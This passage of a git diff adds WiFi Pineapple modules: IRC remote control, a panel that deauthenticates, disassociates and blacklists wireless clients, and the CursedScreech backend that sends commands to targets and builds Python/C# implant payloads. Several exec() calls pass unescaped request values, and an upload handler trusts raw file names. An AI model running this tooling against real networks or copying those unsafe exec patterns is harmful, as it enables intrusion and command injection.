||||
$scope.CommanderConfiguration = response.CommanderConfiguration;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.saveConfiguration = (function() {
|
||||
$api.request({
|
||||
module: 'Commander',
|
||||
action: 'saveConfiguration',
|
||||
CommanderConfiguration: $scope.CommanderConfiguration
|
||||
}, function(response) {
|
||||
console.log(response);
|
||||
if (response.success === true){
|
||||
$scope.getConfiguration();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.restoreDefaultConfiguration = (function() {
|
||||
$api.request({
|
||||
module: 'Commander',
|
||||
action: 'restoreDefaultConfiguration'
|
||||
}, function(response) {
|
||||
if (response.success === true) {
|
||||
$scope.getConfiguration();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfiguration();
|
||||
}]);
|
|
@ -0,0 +1,62 @@
|
|||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">Commander
|
||||
<button type="button" class="close pull-right" data-toggle="modal" data-target="#information" aria-label="Close"><span aria-hidden="true">i</span></button></h3></h3>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="information" class="modal fade" role="dialog">
|
||||
<div class="modal-dialog">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal">×</button>
|
||||
<h4 class="modal-title">Information</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<h3><center>Commander 1.0</center></h3>
|
||||
<h5><center>Written by Foxtrot</center></h5>
|
||||
<h5><center>This module allows you to control your WiFi Pineapple over IRC by acting as a client connecting to your specified server. You can then specify custom commands to execute by talking to it like it was a person.</center></h5>
|
||||
<br/><br/>
|
||||
<h5 class="text-danger"><center>Please use Responsibly!</center></h5>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-md-5" ng-controller="CommanderController">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">Control</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
Status : <span class="text-success" ng-show="commanderRunning">Running</span> <span ng-hide="commanderRunning" class="text-danger">Not Running!</span>
|
||||
|
||||
<button class="btn btn-sm btn-primary pull-right" ng-click="startCommander()" ng-hide="commanderRunning">Start</button>
|
||||
<button class="btn btn-sm btn-primary pull-right" ng-click="stopCommander()" ng-show="commanderRunning">Stop</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-md-7" ng-controller="CommanderManageController">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">Manage
|
||||
<button type="button" ng-click="getConfiguration();" class="close pull-right"aria-label="Refresh"><span aria-hidden="true">↻</span></button></h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<p>Edit configuration:</p>
|
||||
<p>
|
||||
<textarea class="form-control" rows="15" ng-model="CommanderConfiguration"></textarea>
|
||||
</p>
|
||||
|
||||
<p class="well well-sm alert-success" ng-show="configSaved">Configuration Saved</p>
|
||||
<button type="submit" class="btn btn-sm btn-primary" ng-click="saveConfiguration()">Save Configuration</button>
|
||||
<button type="submit" class="btn btn-sm btn-warning" ng-click="restoreDefaultConfiguration()">Restore Defaults</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"author": "Foxtrot",
|
||||
"description": "Control the Pineapple via IRC",
|
||||
"devices": [
|
||||
"nano",
|
||||
"tetra"
|
||||
],
|
||||
"title": "Commander",
|
||||
"version": "2.0"
|
||||
}
|
|
@ -0,0 +1,77 @@
|
|||
<?php namespace pineapple;
|
||||
|
||||
class ConnectedClients extends Module
|
||||
{
|
||||
public function route()
|
||||
{
|
||||
switch ($this->request->action) {
|
||||
case 'getVersionInfo':
|
||||
$this->getVersionInfo();
|
||||
break;
|
||||
case 'getDHCPLeases':
|
||||
$this->getDHCPLeases();
|
||||
break;
|
||||
case 'getBlacklist':
|
||||
$this->getBlacklist();
|
||||
break;
|
||||
case 'getConnectedClients':
|
||||
$this->getConnectedClients();
|
||||
break;
|
||||
case 'removeMacAddress':
|
||||
$this->removeMacAddress();
|
||||
break;
|
||||
case 'addMacAddress':
|
||||
$this->addMacAddress();
|
||||
break;
|
||||
case 'disassociateMac':
|
||||
$this->disassociateMac();
|
||||
break;
|
||||
case 'deauthenticateMac':
|
||||
$this->deauthenticateMac();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
protected function getVersionInfo() {
|
||||
$moduleInfo = @json_decode(file_get_contents("/pineapple/modules/ConnectedClients/module.info"));
|
||||
$this->response = array('title' => $moduleInfo->title, 'version' => $moduleInfo->version);
|
||||
}
|
||||
|
||||
private function getDHCPLeases() {
|
||||
exec("cat /tmp/dhcp.leases", $dhcpleases);
|
||||
$this->response = array('dhcpleases' => $dhcpleases);
|
||||
|
||||
}
|
||||
|
||||
private function getBlacklist() {
|
||||
exec("pineapple karma list_macs", $mac_list);
|
||||
$this->response = array('blacklist' => $mac_list);
|
||||
}
|
||||
|
||||
private function getConnectedClients() {
|
||||
exec("iw dev wlan0 station dump | grep Station | awk '{print $2}'", $wlan0clients);
|
||||
exec("iw dev wlan0-1 station dump | grep Station | awk '{print $2}'", $wlan01clients);
|
||||
exec("iw dev wlan1 station dump | grep Station | awk '{print $2}'", $wlan1clients);
|
||||
$this->response = array('wlan0clients' => $wlan0clients, 'wlan01clients' => $wlan01clients, 'wlan1clients' => $wlan1clients);
|
||||
}
|
||||
|
||||
private function removeMacAddress() {
|
||||
exec('pineapple karma del_mac "'.$this->request->macAddress.'"', $removeMacResponse);
|
||||
$this->response = array('removeMacResponse' => $removeMacResponse);
|
||||
}
|
||||
|
||||
private function addMacAddress() {
|
||||
exec('pineapple karma add_mac "'.$this->request->macAddress.'"', $addMacResponse);
|
||||
$this->response = array('addMacResponse' => $addMacResponse);
|
||||
}
|
||||
|
||||
private function disassociateMac() {
|
||||
exec('hostapd_cli disassociate "'.$this->request->macAddress.'"', $disassociateResponse);
|
||||
$this->response = array('disassociateResponse' => $disassociateResponse);
|
||||
}
|
||||
|
||||
private function deauthenticateMac() {
|
||||
exec('hostapd_cli deauthenticate "'.$this->request->macAddress.'"', $deauthenticateResponse);
|
||||
$this->response = array('deauthSuccess' => 'Successful', 'deauthenticateResponse' => $deauthenticateResponse);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,112 @@
|
|||
registerController('ConnectedClientsController', ['$api', '$scope', function($api, $scope) {
|
||||
$scope.title = "Loading...";
|
||||
$scope.version = "Loading...";
|
||||
$scope.clientslength = 0;
|
||||
$scope.wlan0clients = [];
|
||||
$scope.wlan01clients = [];
|
||||
$scope.wlan1clients = [];
|
||||
$scope.dhcplength = 0;
|
||||
$scope.dhcpleases = [];
|
||||
$scope.blacklistlength = 0;
|
||||
$scope.blacklist = [];
|
||||
|
||||
// this function gets info from the module.info file
|
||||
$scope.getVersionInfo = (function() {
|
||||
$api.request({
|
||||
module: 'ConnectedClients',
|
||||
action: 'getVersionInfo'
|
||||
}, function(response) {
|
||||
$scope.title = response.title;
|
||||
$scope.version = response.version;
|
||||
});
|
||||
});
|
||||
|
||||
// this function gets the connected clients information and fills in the panel
|
||||
$scope.getConnectedClients = (function() {
|
||||
$api.request({
|
||||
module: 'ConnectedClients',
|
||||
action: 'getConnectedClients'
|
||||
}, function(response) {
|
||||
$scope.clientslength = response.wlan0clients.length + response.wlan01clients.length + response.wlan1clients.length;
|
||||
$scope.wlan0clients = response.wlan0clients;
|
||||
$scope.wlan01clients = response.wlan01clients;
|
||||
$scope.wlan1clients = response.wlan1clients;
|
||||
});
|
||||
});
|
||||
|
||||
// this function adds a mac address to the blacklist
|
||||
$scope.addMacAddress = (function(macAddress) {
|
||||
$api.request({
|
||||
module: 'ConnectedClients',
|
||||
action: 'addMacAddress',
|
||||
macAddress: macAddress
|
||||
}, function(response) {
|
||||
$scope.getBlacklist();
|
||||
});
|
||||
});
|
||||
|
||||
// this function gets the DHCP leases from the file system and fills in the panel
|
||||
$scope.getDHCPLeases = (function() {
|
||||
$api.request({
|
||||
module: 'ConnectedClients',
|
||||
action: 'getDHCPLeases'
|
||||
}, function(response) {
|
||||
$scope.dhcplength = response.dhcpleases.length;
|
||||
$dhcp = response.dhcpleases;
|
||||
for (var i = $scope.dhcplength - 1; i >= 0; i--) {
|
||||
$dhcp[i] = $dhcp[i].split(' ');
|
||||
}
|
||||
$scope.dhcpleases = $dhcp;
|
||||
});
|
||||
});
|
||||
|
||||
// this function removes a MAC address from the blacklist
|
||||
$scope.removeMacAddress = (function(macAddress) {
|
||||
$api.request({
|
||||
module: 'ConnectedClients',
|
||||
action: 'removeMacAddress',
|
||||
macAddress: macAddress
|
||||
}, function(response) {
|
||||
$scope.getBlacklist();
|
||||
});
|
||||
});
|
||||
|
||||
// this function retrieves the blacklist and fills it in on the panel
|
||||
$scope.getBlacklist = (function() {
|
||||
$api.request({
|
||||
module: 'ConnectedClients',
|
||||
action: 'getBlacklist'
|
||||
}, function(response) {
|
||||
$scope.blacklistlength = response.blacklist.length;
|
||||
$scope.blacklist = response.blacklist;
|
||||
});
|
||||
});
|
||||
|
||||
// this function disassociates a MAC address
|
||||
$scope.disassociateMac = (function(macAddress) {
|
||||
$api.request({
|
||||
module: 'ConnectedClients',
|
||||
action: 'disassociateMac',
|
||||
macAddress: macAddress
|
||||
}, function(response) {
|
||||
$scope.getConnectedClients();
|
||||
});
|
||||
});
|
||||
|
||||
// this function deauthenticates a MAC address
|
||||
$scope.deauthenticateMac = (function(macAddress) {
|
||||
$api.request({
|
||||
module: 'ConnectedClients',
|
||||
action: 'deauthenticateMac',
|
||||
macAddress: macAddress
|
||||
}, function(response) {
|
||||
$scope.getConnectedClients();
|
||||
});
|
||||
});
|
||||
|
||||
// initialize the panels
|
||||
$scope.getVersionInfo();
|
||||
$scope.getBlacklist();
|
||||
$scope.getConnectedClients();
|
||||
$scope.getDHCPLeases();
|
||||
}]);
|
|
@ -0,0 +1,59 @@
|
|||
<div ng-controller="ConnectedClientsController">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h4 class="panel-title pull-left">{{title}}</h4>
|
||||
<span class="pull-right">v{{version}}</span>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#ClientsContainer">
|
||||
<h4 class="panel-title pull-left">Connected Clients</h4>
|
||||
<span class="pull-right">Count: {{ clientslength }}</span>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
<div id="ClientsContainer" class="panel-collapse collapse in">
|
||||
<h3 class="text-center">wlan0</h3>
|
||||
<table class="table table-striped table-bordered text-center">
|
||||
<tr><th class="text-center">Mac Address</th><th class="text-center">Disassociate</th><th class="text-center">Deauthenticate</th><th class="text-center">Blacklist</th></tr>
|
||||
<tr ng-repeat="wlan0 in wlan0clients"><td>{{ wlan0 }}</td><td><button type="button" class="btn btn-danger" ng-click="disassociateMac(wlan0)">Disassociate</button></td><td><button type="button" class="btn btn-danger" ng-click="deauthenticateMac(wlan0)">Deauthenticate</button></td><td><button type="button" class="btn btn-danger" ng-click="addMacAddress(wlan0)">Blacklist</button></td></tr>
|
||||
</table>
|
||||
<h3 class="text-center">wlan0-1</h3>
|
||||
<table class="table table-striped table-bordered text-center">
|
||||
<tr><th class="text-center">Mac Address</th><th class="text-center">Disassociate</th><th class="text-center">Deauthenticate</th><th class="text-center">Blacklist</th></tr>
|
||||
<tr ng-repeat="wlan01 in wlan01clients"><td>{{ wlan01 }}</td><td><button type="button" class="btn btn-danger" ng-click="disassociateMac(wlan01)">Disassociate</button></td><td><button type="button" class="btn btn-danger" ng-click="deauthenticateMac(wlan01)">Deauthenticate</button></td><td><button type="button" class="btn btn-danger" ng-click="addMacAddress(wlan01)">Blacklist</button></td></tr>
|
||||
</table>
|
||||
<h3 class="text-center">wlan1</h3>
|
||||
<table class="table table-striped table-bordered text-center">
|
||||
<tr><th class="text-center">Mac Address</th><th class="text-center">Disassociate</th><th class="text-center">Deauthenticate</th><th class="text-center">Blacklist</th></tr>
|
||||
<tr ng-repeat="wlan1 in wlan1clients"><td>{{ wlan1 }}</td><td><button type="button" class="btn btn-danger" ng-click="disassociateMac(wlan1)">Disassociate</button></td><td><button type="button" class="btn btn-danger" ng-click="deauthenticateMac(wlan1)">Deauthenticate</button></td><td><button type="button" class="btn btn-danger" ng-click="addMacAddress(wlan1)">Blacklist</button></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#DHCPContainer">
|
||||
<h4 class="panel-title pull-left">DHCP Leases</h4>
|
||||
<span class="pull-right">Count: {{ dhcplength }}</span>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
<div id="DHCPContainer" class="panel-collapse collapse in">
|
||||
<table class="table table-striped table-bordered text-center">
|
||||
<tr><th class="text-center">Hostname</th><th class="text-center">IP Address</th><th class="text-center">MAC Address</th><th class="text-center">Blacklist</th></tr>
|
||||
<tr ng-repeat="dhcplease in dhcpleases"><td>{{ dhcplease[3] }}</td><td>{{ dhcplease[2] }}</td><td>{{ dhcplease[1] }}</td><td><button type="button" class="btn btn-danger" ng-click="addMacAddress(dhcplease[1])">Blacklist</button></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#BlacklistContainer">
|
||||
<h4 class="panel-title pull-left">Blacklist</h4>
|
||||
<span class="pull-right">Count: {{ blacklistlength }}</span>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
<div id="BlacklistContainer" class="panel-collapse collapse in">
|
||||
<table class="table table-striped table-bordered text-center">
|
||||
<tr><th class="text-center">MAC Address</th><th class="text-center">Remove</th></tr>
|
||||
<tr ng-repeat="mac in blacklist track by $index"><td>{{ mac }}</td><td><button type="button" class="btn btn-danger" ng-click="removeMacAddress(mac)">Remove</button></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"author": "r3dfish",
|
||||
"description": "Connected Clients is an infusion for the Wifi Pineapple that gives information about connected clients",
|
||||
"devices": [
|
||||
"nano",
|
||||
"tetra"
|
||||
],
|
||||
"title": "ConnectedClients",
|
||||
"version": "1.4"
|
||||
}
|
|
@ -0,0 +1,619 @@
|
|||
<?php
|
||||
|
||||
namespace pineapple;
|
||||
|
||||
// Root level includes
|
||||
define('__INCLUDES__', "/pineapple/modules/CursedScreech/includes/");
|
||||
|
||||
// Define to hook into Papers' SSL store
|
||||
define('__SSLSTORE__', "/pineapple/modules/Papers/includes/ssl/");
|
||||
|
||||
// Main directory defines
|
||||
define('__FOREST__', __INCLUDES__ . 'forest/');
|
||||
define('__SCRIPTS__', __INCLUDES__ . "scripts/");
|
||||
define('__HELPFILES__', __INCLUDES__ . "help/");
|
||||
define('__CHANGELOGS__', __INCLUDES__ . "changelog/");
|
||||
define('__LOGS__', __INCLUDES__ . "errorlogs/");
|
||||
define('__TARGETLOGS__', __FOREST__ . "targetlogs/");
|
||||
define('__PAYLOADS__', __INCLUDES__ . "payloads/");
|
||||
|
||||
// API defines
|
||||
define('__API_CS__', __INCLUDES__ . "api/cs/");
|
||||
define('__API_PY__', __INCLUDES__ . "api/python/");
|
||||
define('__API_DL__', __INCLUDES__ . "api/downloads/");
|
||||
|
||||
// File location defines
|
||||
define('__ACTIVITYLOG__', __FOREST__ . 'activity.log');
|
||||
define('__SETTINGS__', __FOREST__ . 'settings');
|
||||
define('__TARGETS__', __FOREST__ . "targets.log");
|
||||
define('__COMMANDLOG__', __FOREST__ . "cmd.log");
|
||||
define('__EZCMDS__', __FOREST__ . "ezcmds");
|
||||
|
||||
|
||||
/*
|
||||
Move the uploaded file to the payloads directory
|
||||
*/
|
||||
if (!empty($_FILES)) {
|
||||
$response = [];
|
||||
foreach ($_FILES as $file) {
|
||||
$tempPath = $file[ 'tmp_name' ];
|
||||
$name = $file['name'];
|
||||
|
||||
// Ensure the upload directory exists
|
||||
if (!file_exists(__PAYLOADS__)) {
|
||||
if (!mkdir(__PAYLOADS__, 0755, true)) {
|
||||
$response[$name] = "Failed";
|
||||
echo json_encode($response);
|
||||
die();
|
||||
}
|
||||
}
|
||||
|
||||
$uploadPath = __PAYLOADS__ . $name;
|
||||
$res = move_uploaded_file($tempPath, $uploadPath);
|
||||
|
||||
if ($res) {
|
||||
$response[$name] = "Success";
|
||||
} else {
|
||||
$response[$name] = "Failed";
|
||||
}
|
||||
}
|
||||
echo json_encode($response);
|
||||
die();
|
||||
}
|
||||
|
||||
class CursedScreech extends Module {
|
||||
public function route() {
|
||||
switch ($this->request->action) {
|
||||
case 'depends':
|
||||
$this->depends($this->request->task);
|
||||
break;
|
||||
case 'loadSettings':
|
||||
$this->loadSettings();
|
||||
break;
|
||||
case 'updateSettings':
|
||||
$this->updateSettings($this->request->settings);
|
||||
break;
|
||||
case 'readLog':
|
||||
$this->retrieveLog($this->request->logName, $this->request->type);
|
||||
break;
|
||||
case 'getLogs':
|
||||
$this->getLogs($this->request->type);
|
||||
break;
|
||||
case 'clearLog':
|
||||
$this->clearLog($this->request->logName, $this->request->type);
|
||||
break;
|
||||
case 'deleteLog':
|
||||
$this->deleteLog($this->request->logName, $this->request->type);
|
||||
break;
|
||||
case 'startProc':
|
||||
$this->startProc($this->request->procName);
|
||||
break;
|
||||
case 'procStatus':
|
||||
$this->procStatus($this->request->procName);
|
||||
break;
|
||||
case 'stopProc':
|
||||
$this->stopProc($this->request->procName);
|
||||
break;
|
||||
case 'loadCertificates':
|
||||
if (is_dir(__SSLSTORE__)) {
|
||||
$this->loadCertificates();
|
||||
} else {
|
||||
$this->respond(false, "Papers is not installed. Please enter a path to your keys manually.");
|
||||
}
|
||||
break;
|
||||
case 'loadTargets':
|
||||
$this->loadTargets();
|
||||
break;
|
||||
case 'deleteTarget':
|
||||
$this->deleteTarget($this->request->target);
|
||||
break;
|
||||
case 'sendCommand':
|
||||
$this->sendCommand($this->request->command, $this->request->targets);
|
||||
break;
|
||||
case 'downloadLog':
|
||||
$this->downloadLog($this->request->logName, $this->request->logType);
|
||||
break;
|
||||
case 'loadEZCmds':
|
||||
$this->loadEZCmds();
|
||||
break;
|
||||
case 'saveEZCmds':
|
||||
$this->saveEZCmds($this->request->ezcmds);
|
||||
break;
|
||||
case 'genPayload':
|
||||
$this->genPayload($this->request->type);
|
||||
break;
|
||||
case 'clearDownloads':
|
||||
$this->clearDownloads();
|
||||
break;
|
||||
case 'loadAvailableInterfaces':
|
||||
$this->loadAvailableInterfaces();
|
||||
break;
|
||||
case 'getPayloads':
|
||||
$this->getPayloads();
|
||||
break;
|
||||
case 'deletePayload':
|
||||
$this->deletePayload($this->request->filePath);
|
||||
break;
|
||||
case 'cfgUploadLimit':
|
||||
$this->cfgUploadLimit();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================ */
|
||||
/* DEPENDS FUNCTIONS */
|
||||
/* ============================ */
|
||||
|
||||
private function depends($action) {
|
||||
$retData = array();
|
||||
|
||||
if ($action == "install") {
|
||||
exec(__SCRIPTS__ . "installDepends.sh", $retData);
|
||||
if (implode(" ", $retData) == "Complete") {
|
||||
$this->respond(true);
|
||||
return true;
|
||||
} else {
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
} else if ($action == "remove") {
|
||||
exec(__SCRIPTS__ . "removeDepends.sh");
|
||||
$this->respond(true);
|
||||
return true;
|
||||
} else if ($action == "check") {
|
||||
exec(__SCRIPTS__ . "checkDepends.sh", $retData);
|
||||
if (implode(" ", $retData) == "Installed") {
|
||||
$this->respond(true);
|
||||
return true;
|
||||
} else {
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================ */
|
||||
/* SETTINGS FUNCTIONS */
|
||||
/* ============================ */
|
||||
|
||||
private function loadSettings(){
|
||||
$configs = array();
|
||||
$config_file = fopen(__SETTINGS__, "r");
|
||||
if ($config_file) {
|
||||
while (($line = fgets($config_file)) !== false) {
|
||||
$item = explode("=", $line);
|
||||
$key = $item[0]; $val = trim($item[1]);
|
||||
$configs[$key] = $val;
|
||||
}
|
||||
}
|
||||
fclose($config_file);
|
||||
$this->respond(true, null, $configs);
|
||||
return $configs;
|
||||
}
|
||||
|
||||
private function updateSettings($settings) {
|
||||
// Load the current settings from file
|
||||
$configs = $this->loadSettings();
|
||||
|
||||
// Update the current list. We do it this way so only the requested
|
||||
// settings are updated. Probably not necessary but whatevs.
|
||||
foreach ($settings as $k => $v) {
|
||||
$configs["$k"] = $v;
|
||||
}
|
||||
|
||||
// Get the serial number of the target's public cert
|
||||
$configs['client_serial'] = exec(__SCRIPTS__ . "getCertSerial.sh " . $configs['target_key'] . ".cer");
|
||||
$configs['kuro_serial'] = exec(__SCRIPTS__ . "getCertSerial.sh " . $configs['kuro_key'] . ".cer");
|
||||
|
||||
// Get the IP address of the selected listening interface
|
||||
$configs['iface_ip'] = exec(__SCRIPTS__ . "getInterfaceIP.sh " . $configs['iface_name']);
|
||||
|
||||
// Push the updated settings back out to the file
|
||||
$config_file = fopen(__SETTINGS__, "w");
|
||||
foreach ($configs as $k => $v) {
|
||||
fwrite($config_file, $k . "=" . $v . "\n");
|
||||
}
|
||||
fclose($config_file);
|
||||
|
||||
$this->respond(true);
|
||||
}
|
||||
|
||||
/* ============================ */
|
||||
/* FOREST FUNCTIONS */
|
||||
/* ============================ */
|
||||
|
||||
private function startProc($procName) {
|
||||
if ($procName == "kuro.py") {
|
||||
file_put_contents(__ACTIVITYLOG__, "[+] Starting Kuro...\n", FILE_APPEND);
|
||||
}
|
||||
$cmd = "python " . __FOREST__ . $procName . " > /dev/null 2>&1 &";
|
||||
exec($cmd);
|
||||
|
||||
// Check if the process is running and return it's PID
|
||||
if (($pid = $this->getPID($procName)) != "") {
|
||||
$this->respond(true, null, $pid);
|
||||
return $pid;
|
||||
} else {
|
||||
$this->logError("Failed_Process", "The following command failed to execute:<br /><br />" . $cmd);
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private function procStatus($procName) {
|
||||
if (($status = $this->getPID($procName)) != "") {
|
||||
$this->respond(true, null, $status);
|
||||
return true;
|
||||
}
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
private function stopProc($procName) {
|
||||
// Check if the process is running, if so grab it's PID
|
||||
if (($pid = $this->getPID($procName)) == "") {
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Kuro requires a special bullet
|
||||
if ($procName == "kuro.py") {
|
||||
file_put_contents(__ACTIVITYLOG__, "[!] Stopping Kuro...\n", FILE_APPEND);
|
||||
exec("echo 'killyour:self' >> " . __COMMANDLOG__);
|
||||
} else {
|
||||
// Kill the process
|
||||
exec("kill " . $pid);
|
||||
}
|
||||
|
||||
// Check one more time if it's still running
|
||||
if (($pid = $this->getPID($procName)) == "") {
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
private function getPID($procName) {
|
||||
$data = array();
|
||||
exec("pgrep -lf " . $procName, $data);
|
||||
$output = explode(" ", $data[0]);
|
||||
if (strpos($output[2], $procName) !== False) {
|
||||
return $output[0];
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private function loadTargets() {
|
||||
$targets = array();
|
||||
$fh = fopen(__TARGETS__, "r");
|
||||
if ($fh) {
|
||||
while (($line = fgets($fh)) !== False) {
|
||||
array_push($targets, rtrim($line, "\n"));
|
||||
}
|
||||
} else {
|
||||
$this->respond(false, "Failed to open " . __TARGETS__);
|
||||
return false;
|
||||
}
|
||||
fclose($fh);
|
||||
$this->respond(true, null, $targets);
|
||||
return $targets;
|
||||
}
|
||||
|
||||
private function deleteTarget($target) {
|
||||
$targetFile = explode("\n", file_get_contents(__TARGETS__));
|
||||
$key = array_search($target, $targetFile, true);
|
||||
if ($key !== False) {
|
||||
unset($targetFile[$key]);
|
||||
}
|
||||
|
||||
$fh = fopen(__TARGETS__, "w");
|
||||
fwrite($fh, implode("\n", $targetFile));
|
||||
fclose($fh);
|
||||
|
||||
$this->respond(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
private function sendCommand($cmd, $targets) {
|
||||
if (count($targets) == 0) {
|
||||
$this->respond(false);
|
||||
return;
|
||||
}
|
||||
|
||||
$output = "";
|
||||
foreach ($targets as $target) {
|
||||
$output .= $cmd . ":" . $target . "\n";
|
||||
}
|
||||
$fh = fopen(__COMMANDLOG__, "w");
|
||||
if ($fh) {
|
||||
fwrite($fh, $output);
|
||||
fclose($fh);
|
||||
$this->respond(true);
|
||||
return true;
|
||||
} else {
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private function downloadLog($logName, $type) {
|
||||
$dir = ($type == "forest") ? __FOREST__ : (($type == "targets") ? __TARGETLOGS__ : "");
|
||||
if (file_exists($dir . $logName)) {
|
||||
$this->respond(true, null, $this->downloadFile($dir . $logName));
|
||||
return true;
|
||||
}
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
private function genPayload($type) {
|
||||
if ($type == "python") {
|
||||
$dir = __API_PY__;
|
||||
$payload = "payload.py";
|
||||
$api = "PineappleModules.py";
|
||||
$zip = "Python_Payload.zip";
|
||||
} else if ($type == "cs") {
|
||||
$dir = __API_CS__;
|
||||
$payload = "payload.cs";
|
||||
$api = "PineappleModules.cs";
|
||||
$zip = "CS_Payload.zip";
|
||||
} else if ($type == "cs_auth") {
|
||||
$dir = __API_CS__;
|
||||
$payload = "payloadAuth.cs";
|
||||
$api = "PineappleModules.cs";
|
||||
$zip = "CS_Auth_Payload.zip";
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
$template = "template/" . $payload;
|
||||
|
||||
// Get the configs so we can push them to the payload template
|
||||
$configs = $this->loadSettings();
|
||||
|
||||
// Copy the contents of the payload template and add our configs
|
||||
$contents = file_get_contents($dir . $template);
|
||||
$contents = str_replace("IPAddress", $configs['mcast_group'], $contents);
|
||||
$contents = str_replace("mcastport", $configs['mcast_port'], $contents);
|
||||
$contents = str_replace("hbinterval", $configs['hb_interval'], $contents);
|
||||
|
||||
// The format of the serial number in the C# payload differs from that in the
|
||||
// Python payload. Therefore, we need this check here.
|
||||
if ($type == "python") {
|
||||
$contents = str_replace("serial", $configs['kuro_serial'], $contents);
|
||||
$contents = str_replace("publicKey", end(explode("/", $configs['target_key'])) . ".cer", $contents);
|
||||
$contents = str_replace("kuroKey", end(explode("/", $configs['kuro_key'])) . ".cer", $contents);
|
||||
$contents = str_replace("privateKey", end(explode("/", $configs['target_key'])) . ".pem", $contents);
|
||||
} else {
|
||||
$contents = str_replace("serial", exec(__SCRIPTS__ . "bigToLittleEndian.sh " . $configs['kuro_serial']), $contents);
|
||||
|
||||
// This part seems confusing but the fingerprint is returned from the script in the following format:
|
||||
// Fingerprint=AB:CD:EF:12:34:56:78:90
|
||||
// And the C# payload requires it to be in the following format: ABCDEF1234567890
|
||||
// Therefore we explode the returned data into an array, keep only the second element, then run a str_replace on all ':' characters
|
||||
|
||||
$ret = exec(__SCRIPTS__ . "getFingerprint.sh " . $configs['kuro_key'] . ".cer");
|
||||
$fingerprint = implode("", explode(":", explode("=", $ret)[1]));
|
||||
$contents = str_replace("fingerprint", $fingerprint, $contents);
|
||||
$contents = str_replace("privateKey", "Payload." . end(explode("/", $configs['target_key'])) . ".pfx", $contents);
|
||||
}
|
||||
|
||||
// Write the changes to the payload file
|
||||
$fh = fopen($dir . $payload, "w");
|
||||
fwrite($fh, $contents);
|
||||
fclose($fh);
|
||||
|
||||
// Archive the directory
|
||||
$files = implode(" ", array($payload, $api, "Documentation.pdf"));
|
||||
|
||||
// Command: ./packPayload.sh $dir -o $zip -f $files
|
||||
exec(__SCRIPTS__ . "packPayload.sh " . $dir . " -o " . $zip . " -f \"" . $files . "\"");
|
||||
|
||||
// Check if a file exists in the downloads directory
|
||||
if (count(scandir(__API_DL__)) > 2) {
|
||||
$this->respond(true, null, $this->downloadFile(__API_DL__ . $zip));
|
||||
return true;
|
||||
}
|
||||
$this->respond(false);
|
||||
return false;
|
||||
}
|
||||
|
||||
private function clearDownloads() {
|
||||
$files = scandir(__API_DL__);
|
||||
$success = true;
|
||||
foreach ($files as $file) {
|
||||
if ($file == "." || $file == "..") {continue;}
|
||||
if (!unlink(__API_DL__ . $file)) {
|
||||
$success = false;
|
||||
}
|
||||
}
|
||||
$this->respond($success);
|
||||
return $success;
|
||||
}
|
||||
|
||||
private function loadAvailableInterfaces() {
|
||||
$data = array();
|
||||
exec(__SCRIPTS__ . "getListeningInterfaces.sh", $data);
|
||||
if ($data == NULL) {
|
||||
$this->logError("Load_Interfaces_Error", "Failed to load available interfaces for 'Listening Interface' dropdown. Either the getListneingInterfaces.sh script failed or none of your interfaces have an IP address associated with them.");
|
||||
$this->respond(false);
|
||||
}
|
||||
$this->respond(true, null, $data);
|
||||
}
|
||||
|
||||
//=========================//
|
||||
// PAYLOAD FUNCTIONS //
|
||||
//=========================//
|
||||
|
||||
private function getPayloads() {
|
||||
$files = [];
|
||||
|
||||
foreach (scandir(__PAYLOADS__) as $file) {
|
